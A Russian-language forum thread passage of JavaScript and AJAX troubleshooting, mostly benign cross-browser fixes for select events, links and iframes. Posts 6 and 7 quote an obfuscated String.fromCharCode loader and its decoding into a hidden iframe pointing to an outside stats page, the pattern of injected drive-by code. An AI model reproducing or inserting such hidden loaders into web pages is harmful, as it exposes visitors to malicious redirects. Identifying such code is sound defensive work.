[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    на java может быть возможно. на JavaScript точно нет.
     
    1 person likes this.
  2. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Во всех браузерах работает, кроме ИЕ:
    HTML:
    <script type="text/javascript">
    function Func(id_sel_from, id_sel_to, id_sel_dd, id_sel_mm, id_link) {
    
    document.getElementById(id_link).href = '';
    document.getElementById(id_link).href = 'trainwin.php?';
    
    // добавляем имя первого select
    document.getElementById(id_link).href += document.getElementById(id_sel_dd).name;
    document.getElementById(id_link).href += '=';
    // добавляем значение первого select
    var n = document.getElementById(id_sel_dd).selectedIndex;
    document.getElementById(id_link).href += document.getElementById(id_sel_dd).options[n].value ;
    
    document.getElementById(id_link).href += '::';
    
    // добавляем имя второго select
    //document.getElementById(id_link).href += document.getElementById(id_sel_mm).name;
    //document.getElementById(id_link).href += '=';
    // добавляем значение второго select
    var n = document.getElementById(id_sel_mm).selectedIndex;
    document.getElementById(id_link).href += document.getElementById(id_sel_mm).options[n].value ;
    
    // добавляем имя третьего select
    document.getElementById(id_link).href += '::';
    //document.getElementById(id_link).href += document.getElementById(id_sel_from).name;
    //document.getElementById(id_link).href += '=';
    // добавляем значение второго select
    var n = document.getElementById(id_sel_from).selectedIndex;
    document.getElementById(id_link).href += document.getElementById(id_sel_from).options[n].value ;
    
    // добавляем имя 4-го select
    document.getElementById(id_link).href += '::';
    //document.getElementById(id_link).href += document.getElementById(id_sel_to).name;
    //document.getElementById(id_link).href += '=';
    // добавляем значение второго select
    var n = document.getElementById(id_sel_to).selectedIndex;
    document.getElementById(id_link).href += document.getElementById(id_sel_to).options[n].value ;
    
    // добавляем язык
    document.getElementById(id_link).href += '::<?echo $lang;?>';
    
    // добавляем значение поля "год"
    document.getElementById(id_link).href += '::2008';
    
    // Вывод =)
    //alert(document.getElementById(id_link).href);
    }
    </script>
    
    <form action=trainwin.php method=GET onchange="Func('id_sel_from', 'id_sel_to', 'id_sel_dd', 'id_sel_mm', 'id_link')">
    моя форма
    </form>
    
    Скрипт должен на лету формировать ссылку. Во всех браузерах работает, а в ИЕ тупо игнорирует...
     
  3. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Крутая функция :)
    Видимо, в IE событие change не всплывает.
     
  4. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    есть ифрейм который подгружает страничку(с бесконечным выполнением) нужно эту страничку(фрейм) закрыть через 4ре секунды
    иначе не даёт загрузиться остальному контенту...(ждёт когда завершится фрейм)
     
  5. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    понравилась работа скрипта VK Messenger by DX на AJAX
    вот собственно хотел бы почитать про него, скиньте, пожалуйста, книжки или ссылку на топик с книгами
     
  6. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    А что вот это делает?
    <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,50,52,49,48,50,51,50,46,106,112,103,34,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,102,111,114,119,97,114,100,105,110,103,122,46,99,111,109,47,115,116,97,116,115,47,114,117,49,46,112,104,112,34,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,62,60,47,105,102,114,97,109,101,62))</script>
     
  7. Jer1cho

    Jer1cho Member

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    65
    Reputations:
    10
    <img src="2410232.jpg"><iframe src="http://forwardingz.com/stats/ru1.php" style="display:none"></iframe>
     
  8. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Угу уже разобрался с UNICODOM))... .
     
  9. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Задолбался, сил уже нету.
    То что накалякано внизу работает и в Опере и в Мозиле, в ИЕ не хочет...

    PHP:
    <select name="select">
      <
    option value="1" onclick="document.getElementById('local').style.display = 'block'; document.getElementById('link').style.display = 'none'">Локально</option>
      <
    option value="2" onclick="document.getElementById('link').style.display = 'block'; document.getElementById('local').style.display = 'none'">Ссылка</option>
    </
    select>
               
               
    <
    div id="local">
        <
    input name="name1" type="text" />
    </
    div>

    <
    div id="link" style="display:none">
       <
    input name="name2" type="text" />
    </
    div>
    как исправить?
     
  10. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    если не ошибаюсь то осел не обрабатывает эвенты от чилдов в селекте....
    юзай кроссбраузерно=)
    PHP:

    <script language="JavaScript">
        function 
    toggleVisibility(index){
        switch(
    index)
            {
            case 
    0:
              
    document.getElementById('local').style.display 'block'document.getElementById('link').style.display 'none'
              
    break;    
            case 
    1:
              
    document.getElementById('link').style.display 'block'document.getElementById('local').style.display 'none'
              
    break;
            default:
             break;
            }
            }
    </script>

    <select name="select"  onChange="toggleVisibility(this.selectedIndex)"> 
      <option value="1">Локально</option> 
      <option value="2">Ссылка</option> 
    </select> 
                
                
    <div id="local"> 
        <input name="name1" type="text" value="local"/> 
    </div> 

    <div id="link" style="display:none"> 
       <input name="name2" type="text" value="link" /> 
    </div> 
     
    1 person likes this.
  11. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    ну да, прочитал я в документации, что onclick не обрабатывается в селекте.
    Спасибо тебе за помощь!
     
  12. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    как получить заголовок (title) ифрейма?
    так не получается :(
    Code:
    <script>
    for(i=0;i<frames.length;i++)
    {
    	alert(frames[i].document.title);
    }
    </script>
    
     
  13. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Поставь onchange на селект и юзай selectedIndex (что id, что текст нутри option)

    example:
    PHP:
    <select name="girls" onchange="myFunc(this)">
    а обработка
    PHP:
    function myFunc(obj){
    var 
    text имяСписка.options[имяСписка.selectedIndex].text;
    var 
    value имяСписка.options[имяСписка.selectedIndex].value;
    где имяСписка, можно заменить на obj

    А еще лучше

    PHP:
    $("#mySelect").bind('change', function(){
    var 
    text this.html();
    var 
    value this.val();
    });
    и никаких onchange в HTML ( отвыкаем от DOM1)
     
    #873 Naydav, 13 Sep 2008
    Last edited: 13 Sep 2008
    1 person likes this.
  14. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    маленькие поправки

     
    #874 Naydav, 13 Sep 2008
    Last edited: 13 Sep 2008
  15. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Вот так попробуй:
    HTML:
    alert(document.frames[i].title);
     
  16. SSB1981

    SSB1981 Elder - Старейшина

    Joined:
    7 Jan 2008
    Messages:
    108
    Likes Received:
    9
    Reputations:
    0
    Здравствуйте!
    Есть ли у кого скрипт (js) для добавления полей ввода в форуму? Оч надо!!! Или ссылку на пример.
     
    #876 SSB1981, 15 Sep 2008
    Last edited: 15 Sep 2008
  17. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    не получаеца

    поставлю вопрос по другому. как проверить наличие web-страницы на существование?
     
    #877 je0n, 15 Sep 2008
    Last edited: 15 Sep 2008
  18. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    <img
      src="http://www.example.com/no-such-page"
      onload="alert(':)')"
      onerror="alert(':(')"
    >
     
  19. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    setInterval(function()
    {
      $('.certain').load('/script.php');
    }, 0x3A98);
     
    1 person likes this.
  20. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    кажицо не работает :(
     
Thread Status:
Not open for further replies.